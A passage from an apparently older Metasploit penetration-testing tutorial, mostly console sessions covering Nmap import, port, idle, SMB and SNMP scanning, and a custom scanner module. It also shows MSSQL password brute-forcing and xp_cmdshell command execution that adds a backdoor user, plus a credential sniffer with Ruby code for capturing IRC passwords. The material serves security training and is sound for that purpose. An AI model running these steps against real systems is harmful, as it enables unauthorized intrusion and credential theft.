msf > db_import_nmap_xml subnet_1.xml

Results of the imported Nmap scan can be viewed via the 'db_hosts' and 'db_services' commands:

msf > db_hosts
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.1 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.2 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.10 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.100 Status: alive OS:
...

msf > db_services
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=22 proto=tcp state=up name=ssh
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=23 proto=tcp state=up name=telnet
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.1 port=80 proto=tcp state=up name=http
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Service: host=192.168.1.2 port=23 proto=tcp state=up name=telnet
...

We are now ready to import our results into dradis by changing to the terminal where we have the dradis console running and issuing the 'import nmap ' command.

dradis> import nmap /pentest/exploits/framework3/subnet_1.nmap normal
There has been an exception:
[error] undefined method `each' for nil:NilClass
/pentest/exploits/framework3/subnet_1.nmap was successfully imported dradis>

If you switch to your dradis web interface and refresh the view, you will see the results of the imported Nmap scan in an easy to navigate tree format.






Notes on Scanners and Auxiliary Modules

Scanners and most other auxiliary modules use the RHOSTS option instead of RHOST. RHOSTS can take IP ranges (192.168.1.20-192.168.1.30), CIDR ranges (192.168.1.0/24), multiple ranges separated by commas (192.168.1.0/24, 192.168.3.0/24), and line separated host list files (file:/tmp/hostlist.txt). This is another use for our grepable Nmap output file.

Note also that, by default, all of the scanner modules will have the THREADS value set to '1'. The THREADS value sets the number of concurrent threads to use while scanning. Set this value to a higher number in order to speed up your scans or keep it lower in order to reduce network traffic but be sure to adhere to the following guidelines:

  • Keep the THREADS value under 16 on native Win32 systems
  • Keep THREADS under 200 when running MSF under Cygwin
  • On Unix-like operating systems, THREADS can be set to 256.

Port Scanning

In addition to running Nmap, there are a variety of other port scanners that are available to us within the framework.

msf > search portscan
[*] Searching loaded modules for pattern 'portscan'...

Auxiliary
=========

Name Description
---- -----------
scanner/portscan/ack TCP ACK Firewall Scanner
scanner/portscan/ftpbounce FTP Bounce Port Scanner
scanner/portscan/syn TCP SYN Port Scanner
scanner/portscan/tcp TCP Port Scanner
scanner/portscan/xmas TCP "XMas" Port Scanner

For the sake of comparison, we'll compare our Nmap scan results for port 80 with a Metasploit scanning module. First, let's determine what hosts had port 80 open according to Nmap.

msf > cat subnet_1.gnmap | grep 80/open | awk '{print $2}'
[*] exec: cat subnet_1.gnmap | grep 80/open | awk '{print $2}'

192.168.1.1
192.168.1.2
192.168.1.10
192.168.1.109
192.168.1.116
192.168.1.150

The Nmap scan we ran earlier was a SYN scan so we'll run the same scan across the subnet looking for port 80 through our eth0 interface using Metasploit.

msf > use scanner/portscan/syn
msf auxiliary(syn) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

msf auxiliary(syn) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(syn) > set PORTS 80
PORTS => 80
msf auxiliary(syn) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(syn) > set THREADS 50
THREADS => 50
msf auxiliary(syn) > run

[*] TCP OPEN 192.168.1.1:80
[*] TCP OPEN 192.168.1.2:80
[*] TCP OPEN 192.168.1.10:80
[*] TCP OPEN 192.168.1.109:80
[*] TCP OPEN 192.168.1.116:80
[*] TCP OPEN 192.168.1.150:80
[*] Auxiliary module execution completed

So we can see that Metasploit's built-in scanner modules are more than capable of finding systems and open port for us. It's just another excellent tool to have in your arsenal if you happen to be running Metasploit on a system without Nmap installed.

SMB Version Scanning

Now that we have determined which hosts are available on the network, we can attempt to determine which operating systems they are running. This will help us narrow down our attacks to target a specific system and will stop us from wasting time on those that aren't vulnerable to a particular exploit.

Since there are many systems in our scan that have port 445 open, we will use the 'scanner/smb/version' module to determine which version of Windows is running on a target and which Samba version is on a Linux host.

msf > use scanner/smb/version
msf auxiliary(version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(version) > set THREADS 50
THREADS => 50
msf auxiliary(version) > run

[*] 192.168.1.100 is running Windows 7 Enterprise (Build 7600) (language: Unknown)
[*] 192.168.1.116 is running Unix Samba 3.0.22 (language: Unknown)
[*] 192.168.1.121 is running Windows 7 Ultimate (Build 7100) (language: Unknown)
[*] 192.168.1.151 is running Windows 2003 R2 Service Pack 2 (language: Unknown)
[*] 192.168.1.111 is running Windows XP Service Pack 3 (language: English)
[*] 192.168.1.114 is running Windows XP Service Pack 2 (language: English)
[*] 192.168.1.124 is running Windows XP Service Pack 3 (language: English)
[*] Auxiliary module execution completed

Also notice that if we issue the 'db_hosts' command now, the newly acquired information is stored in Metasploit's database.

msf auxiliary(version) > db_hosts
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.1 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.2 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.10 Status: alive OS:
[*] Time: Thu Aug 13 19:39:05 -0600 2009 Host: 192.168.1.100 Status: alive OS: Windows Windows 7 Enterprise
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.104 Status: alive OS:
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.109 Status: alive OS:
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.111 Status: alive OS: Windows Windows XP
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.114 Status: alive OS: Windows Windows XP
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.116 Status: alive OS: Unknown Unix
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.121 Status: alive OS: Windows Windows 7 Ultimate
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.123 Status: alive OS:
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.124 Status: alive OS: Windows Windows XP
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.137 Status: alive OS:
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.150 Status: alive OS:
[*] Time: Thu Aug 13 19:39:06 -0600 2009 Host: 192.168.1.151 Status: alive OS: Windows Windows 2003 R2

Idle Scanning

Nmap's IPID Idle scanning allows us to be a little stealthy scanning a target while spoofing the IP address of another host on the network. In order for this type of scan to work, we will need to locate a host that is idle on the network and uses IPID sequences of either Incremental or Broken Little-Endian Incremental. Metasploit contains the module 'scanner/ip/ipidseq' to scan and look for a host that fits the requirements.

For more information on idle scanning with Nmap, see http://nmap.org/book/idlescan.html

msf auxiliary(writable) > use scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run

[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.2's IPID sequence class: Incremental!
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] 192.168.1.104's IPID sequence class: Randomized
[*] 192.168.1.109's IPID sequence class: Incremental!
[*] 192.168.1.111's IPID sequence class: Incremental!
[*] 192.168.1.114's IPID sequence class: Incremental!
[*] 192.168.1.116's IPID sequence class: All zeros
[*] 192.168.1.124's IPID sequence class: Incremental!
[*] 192.168.1.123's IPID sequence class: Incremental!
[*] 192.168.1.137's IPID sequence class: All zeros
[*] 192.168.1.150's IPID sequence class: All zeros
[*] 192.168.1.151's IPID sequence class: Incremental!
[*] Auxiliary module execution completed

Judging by the results of our scan, we have a number of potential zombies we can use to perform idle scanning. We'll try scanning a host using the zombie at 192.168.1.109 and see if we get the same results we had earlier.

msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.114
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.114

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-14 05:51 MDT
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.114:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv

MAC Address: 00:0C:29:41:F2:E8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds






Hunting for MSSQL

One of my personal favorites is the advanced UDP footprinting of MSSQL servers. If you're performing an internal penetration test this is a must use tool. When MSSQL installs, it installs either on port 1433 TCP or a randomized dynamic TCP port. If the port is dynamically generated, this can be rather tricky for an attacker to find the MSSQL servers to attack. Luckily with Microsoft, they have blessed us with port 1434 UDP that once queried allows you to pull quite a bit of information about the SQL server including what port the TCP listener is on. Let's load the module and use it to discover multiple servers.

msf > search mssql
[*] Searching loaded modules for pattern 'mssql'...

Exploits
========

Name Description
---- -----------
windows/mssql/lyris_listmanager_weak_pass Lyris ListManager MSDE Weak sa Password
windows/mssql/ms02_039_slammer Microsoft SQL Server Resolution Overflow
windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow
windows/mssql/mssql_payload Microsoft SQL Server Payload Execution


Auxiliary
=========

Name Description
---- -----------
admin/mssql/mssql_enum Microsoft SQL Server Configuration Enumerator
admin/mssql/mssql_exec Microsoft SQL Server xp_cmdshell Command Execution
admin/mssql/mssql_sql Microsoft SQL Server Generic Query
scanner/mssql/mssql_login MSSQL Login Utility
scanner/mssql/mssql_ping MSSQL Ping Utility

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

msf auxiliary(mssql_ping) > set RHOSTS 10.211.55.1/24
RHOSTS => 10.211.55.1/24
msf auxiliary(mssql_ping) > exploit

[*] SQL Server information for 10.211.55.128:
[*] tcp = 1433
[*] np = SSHACKTHISBOX-0pipesqlquery
[*] Version = 8.00.194
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = SSHACKTHISBOX-0
[*] Auxiliary module execution completed

The first command we issued was to search for any 'mssql' plugins. The second set of instructions was the 'use scanner/mssql/mssql_ping', this will load the scanner module for us. Next, 'show options' allows us to see what we need to specify. The 'set RHOSTS 10.211.55.1/24' sets the subnet range we want to start looking for SQL servers on. You could specify a /16 or whatever you want to go after. I would recommend increasing the number of threads as this could take a long time with a single threaded scanner.

After the 'run' command is issued, a scan is going to be performed and pull back specific information about the MSSQL server. As we can see, the name of the machine is "SSHACKTHISBOX-0" and the TCP port is running on 1433. At this point you could use the 'scanner/mssql/mssql_login' module to brute-force the password by passing the module a dictionary file. Alternatively, you could also use Fast-Track, medusa, or hydra to do this. Once you successfully guess the password, there's a neat little module for executing the xp_cmdshell stored procedure.

msf auxiliary(mssql_login) > use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
HEX2BINARY /pentest/exploits/framework3/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOST yes The target address
RPORT 1433 yes The target port


msf auxiliary(mssql_exec) > set RHOST 10.211.55.128
RHOST => 10.211.55.128
msf auxiliary(mssql_exec) > set MSSQL_PASS password
MSSQL_PASS => password
msf auxiliary(mssql_exec) > set CMD net user rel1k ihazpassword /ADD
cmd => net user rel1k ihazpassword /ADD
msf auxiliary(mssql_exec) > exploit

The command completed successfully.


[*] Auxiliary module execution completed

Looking at the output of the 'net user rel1k ihazpassword /ADD', we have successfully added a user account named "rel1k", from there we could issue 'net localgroup administrators rel1k /ADD' to get a local administrator on the system itself. We have full control over this system at this point.



Service Identification

Again, other than using Nmap to perform scanning for services on our target network, Metasploit also includes a large variety of scanners for various services, often helping you determine potentially vulnerable running services on target machines.

msf auxiliary(tcp) > search auxiliary ^scanner
[*] Searching loaded modules for pattern '^scanner'...

Auxiliary
=========

Name Description
---- -----------
scanner/db2/discovery DB2 Discovery Service Detection.
scanner/dcerpc/endpoint_mapper Endpoint Mapper Service Discovery
scanner/dcerpc/hidden Hidden DCERPC Service Discovery
scanner/dcerpc/management Remote Management Interface Discovery
scanner/dcerpc/tcp_dcerpc_auditor DCERPC TCP Service Auditor
scanner/dect/call_scanner DECT Call Scanner
scanner/dect/station_scanner DECT Base Station Scanner
scanner/discovery/arp_sweep ARP Sweep Local Network Discovery
scanner/discovery/sweep_udp UDP Service Sweeper
scanner/emc/alphastor_devicemanager EMC AlphaStor Device Manager Service.
scanner/emc/alphastor_librarymanager EMC AlphaStor Library Manager Service.
scanner/ftp/anonymous Anonymous FTP Access Detection
scanner/http/frontpage FrontPage Server Extensions Detection
scanner/http/frontpage_login FrontPage Server Extensions Login Utility
scanner/http/lucky_punch HTTP Microsoft SQL Injection Table XSS Infection
scanner/http/ms09_020_webdav_unicode_bypass MS09-020 IIS6 WebDAV Unicode Auth Bypass
scanner/http/options HTTP Options Detection
scanner/http/version HTTP Version Detection
...snip...
scanner/ip/ipidseq IPID Sequence Scanner
scanner/misc/ib_service_mgr_info Borland InterBase Services Manager Information
scanner/motorola/timbuktu_udp Motorola Timbuktu Service Detection.
scanner/mssql/mssql_login MSSQL Login Utility
scanner/mssql/mssql_ping MSSQL Ping Utility
scanner/mysql/version MySQL Server Version Enumeration
scanner/nfs/nfsmount NFS Mount Scanner
scanner/oracle/emc_sid Oracle Enterprise Manager Control SID Discovery
scanner/oracle/sid_enum SID Enumeration.
scanner/oracle/spy_sid Oracle Application Server Spy Servlet SID Enumeration.
scanner/oracle/tnslsnr_version Oracle tnslsnr Service Version Query.
scanner/oracle/xdb_sid Oracle XML DB SID Discovery
...snip...
scanner/sip/enumerator SIP username enumerator
scanner/sip/options SIP Endpoint Scanner
scanner/smb/login SMB Login Check Scanner
scanner/smb/pipe_auditor SMB Session Pipe Auditor
scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor
scanner/smb/smb2 SMB 2.0 Protocol Detection
scanner/smb/version SMB Version Detection
scanner/smtp/smtp_banner SMTP Banner Grabber
scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module
scanner/snmp/community SNMP Community Scanner
scanner/ssh/ssh_version SSH Version Scannner
scanner/telephony/wardial Wardialer
scanner/tftp/tftpbrute TFTP Brute Forcer
scanner/vnc/vnc_none_auth VNC Authentication None Detection
scanner/x11/open_x11 X11 No-Auth Scanner

Our port scanning turned up some machines with TCP port 22 open. SSH is very secure but vulnerabilities are not unheard of and it always pays to gather as much information as possible from your targets. We'll put our grepable output file to use for this example, parsing out the hosts that have port 22 open and passing it to 'RHOSTS'.

msf auxiliary(arp_sweep) > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(ssh_version) > cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt
[*] exec: cat subnet_1.gnmap | grep 22/open | awk '{print $2}' > /tmp/22_open.txt

msf auxiliary(ssh_version) > set RHOSTS file:/tmp/22_open.txt
RHOSTS => file:/tmp/22_open.txt
msf auxiliary(ssh_version) > set THREADS 50
THREADS => 50
msf auxiliary(ssh_version) > run

[*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear_0.52
[*] 192.168.1.137:22, SSH server version: SSH-1.99-OpenSSH_4.4
[*] Auxiliary module execution completed

Poorly configured FTP servers can frequently be the foothold you need in order to gain access to an entire network so it always pays off to check to see if anonymous access is allowed whenever you encounter an open FTP port which is usually on TCP port 21. We'll set the THREADS to 10 here as we're only going to scan a range of 10 hosts.

msf > use scanner/ftp/anonymous
msf auxiliary(anonymous) > set RHOSTS 192.168.1.20-192.168.1.30
RHOSTS => 192.168.1.20-192.168.1.30

msf auxiliary(anonymous) > set THREADS 10
THREADS => 10

msf auxiliary(anonymous) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(anonymous) > run

[*] 192.168.1.23:21 Anonymous READ (220 (vsFTPd 1.1.3))
[*] Recording successful FTP credentials for 192.168.1.23
[*] Auxiliary module execution completed

In a short amount of time and with very little work, we are able to acquire a great deal of information about the hosts residing on our network thus providing us with a much better picture of what we are facing when conducting our penetration test.



Password Sniffing

Recently, Max Moser released a Metasploit password sniffing module named 'psnuffle' that will sniff passwords off the wire similar to the tool dsniff. It currently supports pop3, imap, ftp, and HTTP GET. You can read more about the module on Max's Blog at http://remote-exploit.blogspot.com/2009/08/psnuffle-password-sniffer-for.html.

Using the 'psnuffle' module is extremely simple. There are some options available but the module works great "out of the box".

msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PROTOCOLS all yes A comma-delimited list of protocols to sniff or "all".
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 1 yes The number of seconds to wait for new data

As you can see, there are some options available, including the ability to import a PCAP capture file. We will run the scanner in its default mode.

msf auxiliary(psnuffle) > run
[*] Auxiliary module running as background job
[*] Loaded protocol FTP from /pentest/exploits/framework3/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /pentest/exploits/framework3/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from /pentest/exploits/framework3/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol URL from /pentest/exploits/framework3/data/exploits/psnuffle/url.rb...
[*] Sniffing traffic.....
[*] Successful FTP Login: 192.168.1.112:21-192.168.1.101:48614 >> dookie / dookie (220 3Com 3CDaemon FTP Server Version 2.0)

There! We've captured a successful FTP login. This is an excellent tool for passive information gathering.

How to write a new psnuffle module

Psnuffle is easy to extend due to its modular design. This section will guide through the process of developing an IRC (Internet Relay Chat) protocol sniffer (Notify and Nick messages).

Module Location

All the different modules are located in data/exploits/psnuffle. The names are corresponding to the protocol names used inside psnuffle. To develop our own module, we take a look at the important parts of the existing pop3 sniffer module as a template.

Pattern definitions:

self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }

This section defines the expression patterns which will be used during sniffing to identify interesting data. Regular expressions look very strange at the beginning but are very powerful. In short everything within () will be available within a variable later on in the script.
self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

For IRC this section would look like the ones above. Yeah i know not all nickservers are using IDENTIFY to send the password, but the one on freenode does. Hey its an example :-)

Session definition:

For every module we first have to define what ports it should handle and how the session should be tracked.

return if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667

#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end


Now that we have a session object that uniquely consolidates info, we can go on and process packet content that matched one of the regular expressions we defined earlier.

case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions[s[:session]].merge!({k => matches}) # Just add it to the session object
end

That's basically it. Download the full script here.



SNMP Sweeping

SNMP sweeps are often a good indicator in finding a ton of information about a specific system or actually compromising the remote device. If you can find a Cisco device running a private string for example, you can actually download the entire device configuration, modify it, and upload your own malicious config. Also a lot of times, the passwords themselves are level 7 encoded which means they are trivial to decode and obtain the enable or login password for the specific device.

Metasploit comes with a built in auxiliary module specifically for sweeping SNMP devices. There are a couple of things to understand before we perform our attack. First, read only and read write community strings play an important role on what type of information can be extracted or modified on the devices themselves. If you can "guess" the read-only or read-write strings you can obtain quite a bit of access you would not normally have. In addition, if Windows based devices are configured with SNMP, often times with the RO/RW community strings you can extract patch levels, services running, last reboot times, usernames on the system, routes, and various other amounts of information that is valuable to an attacker.

When querying through SNMP, there is whats called an MIB API. The MIB stands for the Management Information Base (MIB), this interface allows you to query the device and extract information. Metasploit comes loaded with a list of default MIBs that it has in its database, it uses them to query the device for more information depending on what level of access is obtained. Let's take a peek at the auxiliary module.

msf > search snmp
[*] Searching loaded modules for pattern 'snmp'...

Exploits
========

Name Description
---- -----------
windows/ftp/oracle9i_xdb_ftp_unlock Oracle 9i XDB FTP UNLOCK Overflow (win32)


Auxiliary
=========

Name Description
---- -----------
scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module
scanner/snmp/community SNMP Community Scanner

msf > use scanner/snmp/community
msf auxiliary(community) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
COMMUNITIES /pentest/exploits/framework3/data/wordlists/snmp.txt no The list of communities that should be attempted per host
RHOSTS yes The target address range or CIDR identifier
RPORT 161 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(community) > set RHOSTS 192.168.0.0-192.168.5.255
rhosts => 192.168.0.0-192.168.5.255
msf auxiliary(community) > set THREADS 10
threads => 10
msf auxiliary(community) > exploit
[*] >> progress (192.168.0.0-192.168.0.255) 0/30208...
[*] >> progress (192.168.1.0-192.168.1.255) 0/30208...
[*] >> progress (192.168.2.0-192.168.2.255) 0/30208...
[*] >> progress (192.168.3.0-192.168.3.255) 0/30208...
[*] >> progress (192.168.4.0-192.168.4.255) 0/30208...
[*] >> progress (-) 0/0...
[*] 192.168.1.50 'public' 'APC Web/SNMP Management Card (MB:v3.8.6 PF:v3.5.5 PN:apc_hw02_aos_355.bin AF1:v3.5.5 AN1:apc_hw02_sumx_355.bin MN:AP9619 HR:A10 SN: NA0827001465 MD:07/01/2008) (Embedded PowerNet SNMP Agent SW v2.2 compatible)'
[*] Auxiliary module execution completed

As we can see here, we were able to find a community string of "public", this is most likely read-only and doesn't reveal a ton of information. We do learn that the device is an APC Web/SNMP device, and what versions its running.


Writing your own Scanner

There are times where you may need a specific scanner, or having scan activity conducted within Metasploit would be easier for scripting purposes than using an external program. Metasploit has a lot of features that can come in handy for this purpose, like access to all of the exploit classes and methods, built in support for proxies, SSL, reporting, and built in threading. Think of instances where you may need to find every instance of a password on a system, or a scan for a custom service. Not to mention, it is fairly quick and easy to write up your own custom scanner.

We will use this very simple TCP scanner that will connect to a host on a default port of 12345 which can be changed via the module options at run time. Upon connecting to the server, it sends 'HELLO SERVER', receives the response and prints it out along with the IP address of the remote host.

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'My custom TCP scan',
'Version' => '$Revision: 1 $',
'Description' => 'My quick scanner',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(12345)
], self.class)
end
def run_host(ip)
connect()
sock.puts('HELLO SERVER')
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
disconnect()
end
end

We save the file into our ./modules/auxiliary/scanner/ directory as 'simple_tcp.rb' and load up msfconsole. It's important to note two things here. First, modules are loaded at run time, so our new module will not show up unless we restart our interface of choice. The second being that the folder structure is very important, if we would have saved our scanner under ./modules/auxiliary/scanner/http/ it would show up in the modules list as 'scanner/http/simple_tcp'.

To test this scanner, set up a netcat listener on port 12345 and pipe in a text file to act as the server response.

root@bt4:~/docs# nc -lnvp 12345 <>
listening on [any] 12345 ...

Next, you select your new scanner module, set its parameters, and run it to see the results.

msf > use scanner/simple_tcp
msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf auxiliary(simple_tcp) > run

[*] Received: hello metasploit from 192.168.1.101
[*] Auxiliary module execution completed

As you can tell from this simple example, this level of versatility can be of great help when you need some custom code in the middle of a penetration test. The power of the framework and reusable code really shines through here.